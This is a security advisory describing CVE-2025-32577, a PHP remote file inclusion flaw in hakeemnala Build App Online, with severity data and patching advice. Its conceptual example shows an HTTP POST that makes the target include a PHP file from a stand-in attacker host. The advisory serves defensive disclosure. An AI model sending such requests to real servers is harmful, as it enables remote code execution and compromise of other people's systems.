CVE-2025-32577: PHP Remote File Inclusion Vulnerability in hakeemnala Build App Online

Overview

The cybersecurity world is under alert over a severe vulnerability, identified as CVE-2025-32577, in the hakeemnala Build App Online. This flaw relates to the improper control of filename for an include/require statement in PHP programming, a situation known as PHP Remote File Inclusion (RFI). RFI is a critical security flaw that can potentially lead to system compromise or data leakage. It affects users of hakeemnala Build App Online up to version 1.0.23, highlighting the urgent need for mitigation actions.

Vulnerability Summary

CVE ID: CVE-2025-32577
Severity: Critical (9.8 CVSS Severity Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

hakeemnala Build App Online | Up to 1.0.23

How the Exploit Works

The flaw takes advantage of the improper control of filename for an include/require statement in a PHP program. By leveraging this vulnerability, an attacker can remotely include a file from an external server that contains malicious PHP code. Once the file is included, the malicious code is executed in the context of the vulnerable application, potentially leading to a system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited:

POST /buildapp.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
include_url=http://malicious.example.com/malicious.php

In this example, a malicious actor sends a POST request to the vulnerable endpoint (`buildapp.php`) with a parameter (`include_url`) that references a PHP file hosted on an external server (`malicious.example.com`). This file (`malicious.php`) contains the malicious PHP code intended to be executed by the application.

Recommendation

It is highly recommended that users of hakeemnala Build App Online apply the patch provided by the vendor to mitigate this vulnerability. If the patch is not yet available or cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation strategy. Regularly updating and patching systems, especially those exposed to the internet, is a good security practice to prevent exploitation of such vulnerabilities.